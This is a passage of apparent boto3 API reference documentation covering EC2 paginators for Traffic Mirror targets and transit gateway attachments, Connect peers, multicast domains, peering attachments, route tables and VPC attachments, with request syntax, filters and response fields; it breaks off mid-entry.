**TrafficMirrorTargetIds** (_list_) -- + + The ID of the Traffic Mirror targets. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Filters** (_list_) -- + + One or more filters. The possible values are: + + - description : The Traffic Mirror target description. + - network-interface-id : The ID of the Traffic Mirror session network interface. + - network-load-balancer-arn : The Amazon Resource Name (ARN) of the Network Load Balancer that is associated with the session. + - owner-id : The ID of the account that owns the Traffic Mirror session. + - traffic-mirror-target-id : The ID of the Traffic Mirror target. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TrafficMirrorTargets': [ + { + 'TrafficMirrorTargetId': 'string', + 'NetworkInterfaceId': 'string', + 'NetworkLoadBalancerArn': 'string', + 'Type': 'network-interface'|'network-load-balancer', + 'Description': 'string', + 'OwnerId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **TrafficMirrorTargets** _(list) --_ + + Information about one or more Traffic Mirror targets. + + - _(dict) --_ + + Describes a Traffic Mirror target. + + - **TrafficMirrorTargetId** _(string) --_ + + The ID of the Traffic Mirror target. + + - **NetworkInterfaceId** _(string) --_ + + The network interface ID that is attached to the target. + + - **NetworkLoadBalancerArn** _(string) --_ + + The Amazon Resource Name (ARN) of the Network Load Balancer. + + - **Type** _(string) --_ + + The type of Traffic Mirror target. + + - **Description** _(string) --_ + + Information about the Traffic Mirror target. + + - **OwnerId** _(string) --_ + + The ID of the account that owns the Traffic Mirror target. + + - **Tags** _(list) --_ + + The tags assigned to the Traffic Mirror target. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +_class_ EC2.Paginator.DescribeTransitGatewayAttachments + +paginator = client.get_paginator('describe_transit_gateway_attachments') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_transit_gateway_attachments()](#EC2.Client.describe_transit_gateway_attachments "EC2.Client.describe_transit_gateway_attachments"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeTransitGatewayAttachments) + +**Request Syntax** + +response_iterator = paginator.paginate( + TransitGatewayAttachmentIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **TransitGatewayAttachmentIds** (_list_) -- + + The IDs of the attachments. + + - _(string) --_ +- **Filters** (_list_) -- + + One or more filters. The possible values are: + + - association.state - The state of the association (associating | associated | disassociating ). + - association.transit-gateway-route-table-id - The ID of the route table for the transit gateway. + - resource-id - The ID of the resource. + - resource-owner-id - The ID of the AWS account that owns the resource. + - resource-type - The resource type. Valid values are vpc | vpn | direct-connect-gateway | peering | connect . + - state - The state of the attachment. Valid values are available | deleted | deleting | failed | failing | initiatingRequest | modifying | pendingAcceptance | pending | rollingBack | rejected | rejecting . + - transit-gateway-attachment-id - The ID of the attachment. + - transit-gateway-id - The ID of the transit gateway. + - transit-gateway-owner-id - The ID of the AWS account that owns the transit gateway. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGatewayAttachments': [ + { + 'TransitGatewayAttachmentId': 'string', + 'TransitGatewayId': 'string', + 'TransitGatewayOwnerId': 'string', + 'ResourceOwnerId': 'string', + 'ResourceType': 'vpc'|'vpn'|'direct-connect-gateway'|'connect'|'peering'|'tgw-peering', + 'ResourceId': 'string', + 'State': 'initiating'|'initiatingRequest'|'pendingAcceptance'|'rollingBack'|'pending'|'available'|'modifying'|'deleting'|'deleted'|'failed'|'rejected'|'rejecting'|'failing', + 'Association': { + 'TransitGatewayRouteTableId': 'string', + 'State': 'associating'|'associated'|'disassociating'|'disassociated' + }, + 'CreationTime': datetime(2015, 1, 1), + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **TransitGatewayAttachments** _(list) --_ + + Information about the attachments. + + - _(dict) --_ + + Describes an attachment between a resource and a transit gateway. + + - **TransitGatewayAttachmentId** _(string) --_ + + The ID of the attachment. + + - **TransitGatewayId** _(string) --_ + + The ID of the transit gateway. + + - **TransitGatewayOwnerId** _(string) --_ + + The ID of the AWS account that owns the transit gateway. + + - **ResourceOwnerId** _(string) --_ + + The ID of the AWS account that owns the resource. + + - **ResourceType** _(string) --_ + + The resource type. Note that the tgw-peering resource type has been deprecated. + + - **ResourceId** _(string) --_ + + The ID of the resource. + + - **State** _(string) --_ + + The attachment state. Note that the initiating state has been deprecated. + + - **Association** _(dict) --_ + + The association. + + - **TransitGatewayRouteTableId** _(string) --_ + + The ID of the route table for the transit gateway. + + - **State** _(string) --_ + + The state of the association. + + - **CreationTime** _(datetime) --_ + + The creation time. + + - **Tags** _(list) --_ + + The tags for the attachment. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +_class_ EC2.Paginator.DescribeTransitGatewayConnectPeers + +paginator = client.get_paginator('describe_transit_gateway_connect_peers') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_transit_gateway_connect_peers()](#EC2.Client.describe_transit_gateway_connect_peers "EC2.Client.describe_transit_gateway_connect_peers"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeTransitGatewayConnectPeers) + +**Request Syntax** + +response_iterator = paginator.paginate( + TransitGatewayConnectPeerIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **TransitGatewayConnectPeerIds** (_list_) -- + + The IDs of the Connect peers. + + - _(string) --_ +- **Filters** (_list_) -- + + One or more filters. The possible values are: + + - state - The state of the Connect peer (pending | available | deleting | deleted ). + - transit-gateway-attachment-id - The ID of the attachment. + - transit-gateway-connect-peer-id - The ID of the Connect peer. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGatewayConnectPeers': [ + { + 'TransitGatewayAttachmentId': 'string', + 'TransitGatewayConnectPeerId': 'string', + 'State': 'pending'|'available'|'deleting'|'deleted', + 'CreationTime': datetime(2015, 1, 1), + 'ConnectPeerConfiguration': { + 'TransitGatewayAddress': 'string', + 'PeerAddress': 'string', + 'InsideCidrBlocks': [ + 'string', + ], + 'Protocol': 'gre', + 'BgpConfigurations': [ + { + 'TransitGatewayAsn': 123, + 'PeerAsn': 123, + 'TransitGatewayAddress': 'string', + 'PeerAddress': 'string', + 'BgpStatus': 'up'|'down' + }, + ] + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **TransitGatewayConnectPeers** _(list) --_ + + Information about the Connect peers. + + - _(dict) --_ + + Describes a transit gateway Connect peer. + + - **TransitGatewayAttachmentId** _(string) --_ + + The ID of the Connect attachment. + + - **TransitGatewayConnectPeerId** _(string) --_ + + The ID of the Connect peer. + + - **State** _(string) --_ + + The state of the Connect peer. + + - **CreationTime** _(datetime) --_ + + The creation time. + + - **ConnectPeerConfiguration** _(dict) --_ + + The Connect peer details. + + - **TransitGatewayAddress** _(string) --_ + + The Connect peer IP address on the transit gateway side of the tunnel. + + - **PeerAddress** _(string) --_ + + The Connect peer IP address on the appliance side of the tunnel. + + - **InsideCidrBlocks** _(list) --_ + + The range of interior BGP peer IP addresses. + + - _(string) --_ + - **Protocol** _(string) --_ + + The tunnel protocol. + + - **BgpConfigurations** _(list) --_ + + The BGP configuration details. + + - _(dict) --_ + + The BGP configuration information. + + - **TransitGatewayAsn** _(integer) --_ + + The transit gateway Autonomous System Number (ASN). + + - **PeerAsn** _(integer) --_ + + The peer Autonomous System Number (ASN). + + - **TransitGatewayAddress** _(string) --_ + + The interior BGP peer IP address for the transit gateway. + + - **PeerAddress** _(string) --_ + + The interior BGP peer IP address for the appliance. + + - **BgpStatus** _(string) --_ + + The BGP status. + + - **Tags** _(list) --_ + + The tags for the Connect peer. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +_class_ EC2.Paginator.DescribeTransitGatewayConnects + +paginator = client.get_paginator('describe_transit_gateway_connects') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_transit_gateway_connects()](#EC2.Client.describe_transit_gateway_connects "EC2.Client.describe_transit_gateway_connects"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeTransitGatewayConnects) + +**Request Syntax** + +response_iterator = paginator.paginate( + TransitGatewayAttachmentIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **TransitGatewayAttachmentIds** (_list_) -- + + The IDs of the attachments. + + - _(string) --_ +- **Filters** (_list_) -- + + One or more filters. The possible values are: + + - options.protocol - The tunnel protocol (gre ). + - state - The state of the attachment (initiating | initiatingRequest | pendingAcceptance | rollingBack | pending | available | modifying | deleting | deleted | failed | rejected | rejecting | failing ). + - transit-gateway-attachment-id - The ID of the Connect attachment. + - transit-gateway-id - The ID of the transit gateway. + - transport-transit-gateway-attachment-id - The ID of the transit gateway attachment from which the Connect attachment was created. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGatewayConnects': [ + { + 'TransitGatewayAttachmentId': 'string', + 'TransportTransitGatewayAttachmentId': 'string', + 'TransitGatewayId': 'string', + 'State': 'initiating'|'initiatingRequest'|'pendingAcceptance'|'rollingBack'|'pending'|'available'|'modifying'|'deleting'|'deleted'|'failed'|'rejected'|'rejecting'|'failing', + 'CreationTime': datetime(2015, 1, 1), + 'Options': { + 'Protocol': 'gre' + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **TransitGatewayConnects** _(list) --_ + + Information about the Connect attachments. + + - _(dict) --_ + + Describes a transit gateway Connect attachment. + + - **TransitGatewayAttachmentId** _(string) --_ + + The ID of the Connect attachment. + + - **TransportTransitGatewayAttachmentId** _(string) --_ + + The ID of the attachment from which the Connect attachment was created. + + - **TransitGatewayId** _(string) --_ + + The ID of the transit gateway. + + - **State** _(string) --_ + + The state of the attachment. + + - **CreationTime** _(datetime) --_ + + The creation time. + + - **Options** _(dict) --_ + + The Connect attachment options. + + - **Protocol** _(string) --_ + + The tunnel protocol. + + - **Tags** _(list) --_ + + The tags for the attachment. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +_class_ EC2.Paginator.DescribeTransitGatewayMulticastDomains + +paginator = client.get_paginator('describe_transit_gateway_multicast_domains') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_transit_gateway_multicast_domains()](#EC2.Client.describe_transit_gateway_multicast_domains "EC2.Client.describe_transit_gateway_multicast_domains"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeTransitGatewayMulticastDomains) + +**Request Syntax** + +response_iterator = paginator.paginate( + TransitGatewayMulticastDomainIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **TransitGatewayMulticastDomainIds** (_list_) -- + + The ID of the transit gateway multicast domain. + + - _(string) --_ +- **Filters** (_list_) -- + + One or more filters. The possible values are: + + - state - The state of the transit gateway multicast domain. Valid values are pending | available | deleting | deleted . + - transit-gateway-id - The ID of the transit gateway. + - transit-gateway-multicast-domain-id - The ID of the transit gateway multicast domain. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGatewayMulticastDomains': [ + { + 'TransitGatewayMulticastDomainId': 'string', + 'TransitGatewayId': 'string', + 'TransitGatewayMulticastDomainArn': 'string', + 'OwnerId': 'string', + 'Options': { + 'Igmpv2Support': 'enable'|'disable', + 'StaticSourcesSupport': 'enable'|'disable', + 'AutoAcceptSharedAssociations': 'enable'|'disable' + }, + 'State': 'pending'|'available'|'deleting'|'deleted', + 'CreationTime': datetime(2015, 1, 1), + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **TransitGatewayMulticastDomains** _(list) --_ + + Information about the transit gateway multicast domains. + + - _(dict) --_ + + Describes the transit gateway multicast domain. + + - **TransitGatewayMulticastDomainId** _(string) --_ + + The ID of the transit gateway multicast domain. + + - **TransitGatewayId** _(string) --_ + + The ID of the transit gateway. + + - **TransitGatewayMulticastDomainArn** _(string) --_ + + The Amazon Resource Name (ARN) of the transit gateway multicast domain. + + - **OwnerId** _(string) --_ + + The ID of the AWS account that owns the transit gateway multiicast domain. + + - **Options** _(dict) --_ + + The options for the transit gateway multicast domain. + + - **Igmpv2Support** _(string) --_ + + Indicates whether Internet Group Management Protocol (IGMP) version 2 is turned on for the transit gateway multicast domain. + + - **StaticSourcesSupport** _(string) --_ + + Indicates whether support for statically configuring transit gateway multicast group sources is turned on. + + - **AutoAcceptSharedAssociations** _(string) --_ + + Indicates whether to automatically cross-account subnet associations that are associated with the transit gateway multicast domain. + + - **State** _(string) --_ + + The state of the transit gateway multicast domain. + + - **CreationTime** _(datetime) --_ + + The time the transit gateway multicast domain was created. + + - **Tags** _(list) --_ + + The tags for the transit gateway multicast domain. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +_class_ EC2.Paginator.DescribeTransitGatewayPeeringAttachmentsdefinition") + +paginator = client.get_paginator('describe_transit_gateway_peering_attachments') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_transit_gateway_peering_attachments()](#EC2.Client.describe_transit_gateway_peering_attachments "EC2.Client.describe_transit_gateway_peering_attachments"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeTransitGatewayPeeringAttachments) + +**Request Syntax** + +response_iterator = paginator.paginate( + TransitGatewayAttachmentIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **TransitGatewayAttachmentIds** (_list_) -- + + One or more IDs of the transit gateway peering attachments. + + - _(string) --_ +- **Filters** (_list_) -- + + One or more filters. The possible values are: + + - transit-gateway-attachment-id - The ID of the transit gateway attachment. + - local-owner-id - The ID of your AWS account. + - remote-owner-id - The ID of the AWS account in the remote Region that owns the transit gateway. + - state - The state of the peering attachment. Valid values are available | deleted | deleting | failed | failing | initiatingRequest | modifying | pendingAcceptance | pending | rollingBack | rejected | rejecting ). + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources that have a tag with a specific key, regardless of the tag value. + - transit-gateway-id - The ID of the transit gateway. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGatewayPeeringAttachments': [ + { + 'TransitGatewayAttachmentId': 'string', + 'RequesterTgwInfo': { + 'TransitGatewayId': 'string', + 'OwnerId': 'string', + 'Region': 'string' + }, + 'AccepterTgwInfo': { + 'TransitGatewayId': 'string', + 'OwnerId': 'string', + 'Region': 'string' + }, + 'Status': { + 'Code': 'string', + 'Message': 'string' + }, + 'State': 'initiating'|'initiatingRequest'|'pendingAcceptance'|'rollingBack'|'pending'|'available'|'modifying'|'deleting'|'deleted'|'failed'|'rejected'|'rejecting'|'failing', + 'CreationTime': datetime(2015, 1, 1), + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **TransitGatewayPeeringAttachments** _(list) --_ + + The transit gateway peering attachments. + + - _(dict) --_ + + Describes the transit gateway peering attachment. + + - **TransitGatewayAttachmentId** _(string) --_ + + The ID of the transit gateway peering attachment. + + - **RequesterTgwInfo** _(dict) --_ + + Information about the requester transit gateway. + + - **TransitGatewayId** _(string) --_ + + The ID of the transit gateway. + + - **OwnerId** _(string) --_ + + The AWS account ID of the owner of the transit gateway. + + - **Region** _(string) --_ + + The Region of the transit gateway. + + - **AccepterTgwInfo** _(dict) --_ + + Information about the accepter transit gateway. + + - **TransitGatewayId** _(string) --_ + + The ID of the transit gateway. + + - **OwnerId** _(string) --_ + + The AWS account ID of the owner of the transit gateway. + + - **Region** _(string) --_ + + The Region of the transit gateway. + + - **Status** _(dict) --_ + + The status of the transit gateway peering attachment. + + - **Code** _(string) --_ + + The status code. + + - **Message** _(string) --_ + + The status message, if applicable. + + - **State** _(string) --_ + + The state of the transit gateway peering attachment. Note that the initiating state has been deprecated. + + - **CreationTime** _(datetime) --_ + + The time the transit gateway peering attachment was created. + + - **Tags** _(list) --_ + + The tags for the transit gateway peering attachment. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +_class_ EC2.Paginator.DescribeTransitGatewayRouteTables + +paginator = client.get_paginator('describe_transit_gateway_route_tables') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_transit_gateway_route_tables()](#EC2.Client.describe_transit_gateway_route_tables "EC2.Client.describe_transit_gateway_route_tables"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeTransitGatewayRouteTables) + +**Request Syntax** + +response_iterator = paginator.paginate( + TransitGatewayRouteTableIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **TransitGatewayRouteTableIds** (_list_) -- + + The IDs of the transit gateway route tables. + + - _(string) --_ +- **Filters** (_list_) -- + + One or more filters. The possible values are: + + - default-association-route-table - Indicates whether this is the default association route table for the transit gateway (true | false ). + - default-propagation-route-table - Indicates whether this is the default propagation route table for the transit gateway (true | false ). + - state - The state of the route table (available | deleting | deleted | pending ). + - transit-gateway-id - The ID of the transit gateway. + - transit-gateway-route-table-id - The ID of the transit gateway route table. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGatewayRouteTables': [ + { + 'TransitGatewayRouteTableId': 'string', + 'TransitGatewayId': 'string', + 'State': 'pending'|'available'|'deleting'|'deleted', + 'DefaultAssociationRouteTable': True|False, + 'DefaultPropagationRouteTable': True|False, + 'CreationTime': datetime(2015, 1, 1), + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **TransitGatewayRouteTables** _(list) --_ + + Information about the transit gateway route tables. + + - _(dict) --_ + + Describes a transit gateway route table. + + - **TransitGatewayRouteTableId** _(string) --_ + + The ID of the transit gateway route table. + + - **TransitGatewayId** _(string) --_ + + The ID of the transit gateway. + + - **State** _(string) --_ + + The state of the transit gateway route table. + + - **DefaultAssociationRouteTable** _(boolean) --_ + + Indicates whether this is the default association route table for the transit gateway. + + - **DefaultPropagationRouteTable** _(boolean) --_ + + Indicates whether this is the default propagation route table for the transit gateway. + + - **CreationTime** _(datetime) --_ + + The creation time. + + - **Tags** _(list) --_ + + Any tags assigned to the route table. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +_class_ EC2.Paginator.DescribeTransitGatewayVpcAttachments + +paginator = client.get_paginator('describe_transit_gateway_vpc_attachments') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_transit_gateway_vpc_attachments()](#EC2.Client.describe_transit_gateway_vpc_attachments "EC2.Client.describe_transit_gateway_vpc_attachments"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeTransitGatewayVpcAttachments) + +**Request Syntax** + +response_iterator = paginator.paginate( + TransitGatewayAttachmentIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- 